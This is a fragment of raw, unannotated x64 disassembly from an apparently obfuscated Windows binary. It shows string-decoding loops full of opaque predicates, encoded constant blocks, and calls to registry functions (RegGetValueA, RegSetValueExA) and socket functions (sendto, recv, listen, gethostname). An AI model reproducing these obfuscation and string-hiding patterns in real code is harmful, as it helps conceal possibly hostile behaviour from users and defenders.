cmp r8, rax
jne 0x1400d55e1
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x18
inc rdi
jmp 0x1400d4ff3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d560d
mov ecx, Ordinal_41
movzx r11d, dil
lea edx, [r11 - 0x30]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d59d8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d5635
lea ecx, [rdi + 0x58]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
inc rdi
jmp 0x1400d4ff3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d5434
mov ecx, reloc.WS2_32.dll_sendto
movzx r11d, dil
lea edx, [r11 + 0x68]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d596e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d568c
movzx r11d, dil
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x1400d596e
inc rax
cmp r8, rax
jne 0x1400d56b8
lea edx, [rdi - 0x34]
mov ecx, gethostname
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d4ff3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d56df
movzx r11d, dil
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4c
jmp 0x1400d59d8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d5701
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
jmp 0x1400d5a09
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d53ed
movzx r11d, dil
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x74
jmp 0x1400d58af
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d575c
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x30
inc rdi
jmp 0x1400d4ff3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d5788
mov ecx, Ordinal_50
movzx r11d, dil
lea edx, [r11 + 0x60]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d58af
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d57aa
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x1400d5a09
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d57d6
mov ecx, Ordinal_32
movzx r11d, dil
lea edx, [r11 - 8]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d59d8
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d53ae
mov ecx, 8
movzx r11d, dil
lea edx, [r11 - 0x70]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d596e
movzx r10d, byte [rsp + rdi + 0x40]
movzx r11d, dil
lea edx, [r11 - 0x60]
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, dl
add r10b, bl
jmp 0x1400d59d8
movzx r11d, dil
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rsp + rdi + 0x40]
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x1400d58af
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d4ff3
lea edx, [rdi - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d5a3a
movzx r11d, dil
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
add r11b, 0x6c
movzx eax, bl
and al, r11b
inc r9
mov ecx, 6
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
movzx eax, cl
mov byte [rsp + rdi + 0x40], al
add rax, r9
sub rdi, rax
jmp 0x1400d5a3a
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5c
jmp 0x1400d5a0c
lea edx, [rdi + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d5a09
lea ecx, [rdi - 0x5c]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
inc rdi
jmp 0x1400d4ff3
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx r11d, dil
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d596e
movzx r11d, dil
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x54
add r11b, 0x5c
mov ecx, 0x3e
movzx eax, r11b
inc r9
and al, bl
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rsp + rdi + 0x40], cl
dec rdi
inc rdi
jmp 0x1400d4ff3
lea edx, [rdi - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400d4ff3
movzx r11d, dil
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2c
movzx eax, bl
sub r11b, 0x1c
and al, r11b
add al, al
sub bl, al
sub bl, 0x3c
add bl, r10b
add bl, r11b
mov byte [rsp + rdi + 0x40], bl
jmp 0x1400d5a09
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x74
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d4ff3
lea rax, [rdi + r15]
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rbx + rax]
sub r10b, 0x4c
lea edx, [rdi - 0x50]
movzx eax, bl
and al, dl
inc r8
mov ecx, Ordinal_27
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rsp + rdi + 0x40], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d4ff3
lea rdx, [rdi + rsi]
mov ecx, gethostname
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d4ff3
add dil, 0x54
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
sub r10b, 0x4c
jmp 0x1400d4ff0
sub dil, 0x34
mov ecx, gethostname
movzx eax, dil
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, bl
jmp 0x1400d4fe1
lea r8, [rbp + 0x1622cf0]
jmp 0x1400d5af7
lea r8, [rbp + 0xbbad34]
jmp 0x1400d5af7
lea r8, [rsp + 0x40]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x268]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9d, [rdx + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400d7d20
cmp dword [rbp + 0x268], 1
jne 0x1400d7d20
movzx r11d, byte [rbp + 0x260]
xor eax, eax
mov qword [rsp + 0x68], rax
movabs rsi, 0xaf809421117dfad
mov word [rsp + 0x70], ax
movabs r14, 0x62b8535299d6dd15
mov dword [rbp + 0x268], r13d
movabs r15, 0x20e81bc633479f07
mov dword [rsp + 0x60], 0xadb387ad
mov dword [rsp + 0x64], 0xfac9296
nop word [rax + rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rbx, r13
cmp rbx, 0x12
jae 0x1400d659f
movzx edi, byte [rsp + rbx + 0x60]
mov rdx, rdi
cmp r8, rbx
ja 0x1400d6596
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d5bdf
lea r11, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0x45
add r11b, dl
jmp 0x1400d5c25
je 0x1400d6531
inc rax
cmp r8, rax
je 0x1400d6503
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d64e9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d64c9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d64a6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d6469
cmp r9, rbx
ja 0x1400d658d
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400d5c4e
lea ecx, [rbx + 0x31]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x57
jmp 0x1400d5c82
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d644f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d640e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d63f4
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d6374
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d60ce
nop
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d60b1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d6089
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d6069
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d6045
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d6026
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d6007
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d5fdf
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5c90
lea r8, [r9 + 9]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d6573
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d6559
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d5e1d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d5e03
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d5de9
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d5f3d
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d5f1b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d5c90
lea r8, [r9 + 1]
lea r9, [r8 + 5]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d5ef3
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d5ed9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d5eb6
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d5e9c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d5e7a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d5e5c
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d5e37
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d5c90
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x41]
jmp 0x1400d5c90
lea ecx, [rbx - 0x11]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x77
jmp 0x1400d5c82
lea ecx, [rbx - 0x6b]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x13
jmp 0x1400d5c25
lea ecx, [rbx + 0x3b]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x63
jmp 0x1400d5bb2
lea edx, [rbx - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
dec rbx
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x7a]
movzx r10d, bl
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x56
jmp 0x1400d6428
lea edx, [rbx + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
jmp 0x1400d6518
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6a
jmp 0x1400d6518
lea edx, [rbx + 0x6c]
mov ecx, 6
movzx eax, dl
movzx r10d, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d638e
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7e
jmp 0x1400d63b6
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 8
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x57]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x61
mov byte [rsp + rbx + 0x60], r11b
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x49]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
inc r11b
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400d6354
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400d61e1
lea ecx, [rbx + 0x39]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x71
cmp r8, 0x41
jae 0x1400d6330
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400d6287
lea edx, [rbx + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r9, 0x80
jb 0x1400d5f30
movzx edx, bl
lea ecx, [rdx - 0x12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r11d, [rcx*2 - 4]
jmp 0x1400d6481
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 0xa
inc rbx
jmp 0x1400d5ba3
lea edx, [rbx - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d63b6
movzx r10d, bl
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1e
jmp 0x1400d638e
mov ecx, Ordinal_35
movzx r10d, bl
lea edx, [r10 + 0x64]
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d6428
lea ecx, [rbx + 0xa]
dec rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x46
inc rbx
jmp 0x1400d5ba3
lea edx, [rbx - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
inc r9
and al, dil
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x56]
movzx edx, bl
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5a
jmp 0x1400d6481
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400d60f4
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x45
jmp 0x1400d5f51
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d612a
lea edx, [rbx + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
and al, dil
sub cl, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d5ba3
inc rax
cmp r8, rax
jne 0x1400d6156
mov ecx, 0x33
movzx r10d, bl
lea edx, [r10 + 0x16]
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d638e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d6183
mov ecx, 2
movzx r10d, bl
lea edx, [r10 + 0x24]
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d6428
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d61ac
lea ecx, [rbx + 0x7e]
dec rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x72
inc rbx
jmp 0x1400d5ba3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d5f51
lea edx, [rbx - 0x28]
mov ecx, ntohl
movzx eax, dl
inc r9
and al, dil
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d5ba3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d6207
movzx edx, bl
lea ecx, [rdx - 0x6d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 5
jmp 0x1400d6481
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d622a
lea ecx, [rbx + 0x55]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x53
jmp 0x1400d6518
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6252
movzx r10d, bl
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x37
jmp 0x1400d638e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d5f81
lea ecx, [rbx + 0x63]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
add r11b, 0x4b
inc rbx
jmp 0x1400d5ba3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d62b8
lea ecx, [rbx - 0x3c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 0x5c
inc rbx
jmp 0x1400d5ba3
inc rax
cmp r8, rax
jne 0x1400d62df
movzx r10d, bl
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
jmp 0x1400d638e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6307
lea edx, [rbx - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d6518
cmp r8, rcx
jne 0x1400d5fb2
lea ecx, [rbx - 0x20]
dec rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
inc rbx
jmp 0x1400d5ba3
movzx ecx, byte [rsp + rbx + 0x60]
movzx r10d, bl
lea edx, [r10 + 0x48]
movzx eax, dl
and al, dil
sub cl, al
add cl, 4
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d6428
movzx r10d, bl
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rsp + rbx + 0x60]
lea r11d, [rdi + rcx]
sub r11b, 0x6e
jmp 0x1400d638e
movzx r10d, bl
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x6f
add r10b, 0x4f
inc r9
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x29
add r10b, dil
movzx eax, r10b
mov byte [rsp + rbx + 0x60], al
add rax, r9
sub rbx, rax
lea edx, [rbx - 4]
inc r8
movzx eax, dl
mov ecx, reloc.WS2_32.dll_ntohl
and al, dil
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, dil
mov byte [rsp + rbx + 0x60], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x4d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1b
jmp 0x1400d6518
movzx r10d, bl
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2f
sub r10b, 0xb
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0x4d
add r10b, dil
add r10b, r11b
mov byte [rsp + rbx + 0x60], r10b
add r8, r9
jmp 0x1400d6518
movzx edx, bl
lea ecx, [rdx - 0x75]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x33
jmp 0x1400d6481
movzx edx, bl
lea ecx, [rdx - 0x29]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x1f
sub dl, 0x65
inc r9
movzx eax, dl
and al, dil
add al, al
sub dl, al
sub dl, 0x3d
add dl, dil
mov byte [rsp + rbx + 0x60], dl
dec rbx
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x7d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6b
inc r9
dec rbx
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x23]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0xb
dec rbx
inc rbx
jmp 0x1400d5ba3
lea ecx, [rbx + 0x6f]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 9
add r8, r9
jmp 0x1400d6518
lea rcx, [rbx + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x6d
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d5ba3
lea rcx, [rbx + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x31
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d5ba3
sub bl, 0x1f
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x27
jmp 0x1400d5ba0
sub bl, 0x79
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x4f
jmp 0x1400d5b90
lea rdx, [rbp + 0x14a479c]
jmp 0x1400d65a4
lea rdx, [rbp + 0xa22749]
jmp 0x1400d65a4
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x268]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400d7d20
movzx r11d, byte [rbp + 0x260]
xor eax, eax
mov byte [rbp + 0x182], al
movabs rsi, 0xbeb535341fcac9b4
mov dword [rbp + 0x100], 0xe6e8ee9b
movabs r15, 0x36f4746cde8b83ec
mov dword [rbp + 0x104], 0xe0e58cb4
movabs r14, 0x3c1f9f9c5f605d1c
mov dword [rbp + 0x108], 0xeadef0e4
mov dword [rbp + 0x10c], 0xa0ce9b9b
mov dword [rbp + 0x110], 0x96ca9a89
mov dword [rbp + 0x114], 0x93848492
mov dword [rbp + 0x118], 0x82c29d9d
mov dword [rbp + 0x11c], 0x87de818a
mov dword [rbp + 0x120], 0x99da8a99
mov dword [rbp + 0x124], 0xd7808889
mov dword [rbp + 0x128], 0x9281888c
mov dword [rbp + 0x12c], 0xb3b3b9ae
mov dword [rbp + 0x130], 0xbca3e9fe
mov dword [rbp + 0x134], 0xbab0e589
mov dword [rbp + 0x138], 0x8fe2bdbd
mov dword [rbp + 0x13c], 0xa2acfdab
mov dword [rbp + 0x140], 0xa9bb95ab
mov dword [rbp + 0x144], 0xa09ff598
mov dword [rbp + 0x148], 0xc3f2a39d
mov dword [rbp + 0x14c], 0x58500d2f
mov dword [rbp + 0x150], 0x563c095a
mov dword [rbp + 0x154], 0x754686e
mov dword [rbp + 0x158], 0x6c02566c
mov dword [rbp + 0x15c], 0x9454f4b
mov dword [rbp + 0x160], 0x46482918
mov dword [rbp + 0x164], 0x2a164647
mov dword [rbp + 0x168], 0x414f7d46
mov dword [rbp + 0x16c], 0x2f79412c
mov dword [rbp + 0x170], 0x4779747a
mov dword [rbp + 0x174], 0x274a7765
mov dword [rbp + 0x178], 0x237f794c
mov word [rbp + 0x17c], 0x1e0c
mov dword [rbp + 0x17e], 0xdf28
nop dword [rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rdi, r13
cmp rdi, 0x83
jae 0x1400d7243
movzx ebx, byte [rbp + rdi + 0x100]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400d723a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d67b0
lea rcx, [rdi + rsi]
mov r11d, 0xa
movzx eax, cl
and al, r10b
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, r10b
jmp 0x1400d67e0
je 0x1400d71c0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d713a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d70de
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d70ba
nop dword [rax]
cmp r9, rdi
ja 0x1400d7231
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400d6808
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x1400d6840
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400d7070
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d704c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d7033
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d7016
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d6d73
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d6d54
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d6d32
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d6d13
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d6df1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d6cf5
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d6cd7
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d6cba
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d6c9d
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d6c73
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d6850
lea r8, [r9 + 6]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d7211
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d71f1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d6a3e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d6a25
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d6a0c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d6c25
lea rax, [r9 + 0x61]
cmp r8, rax
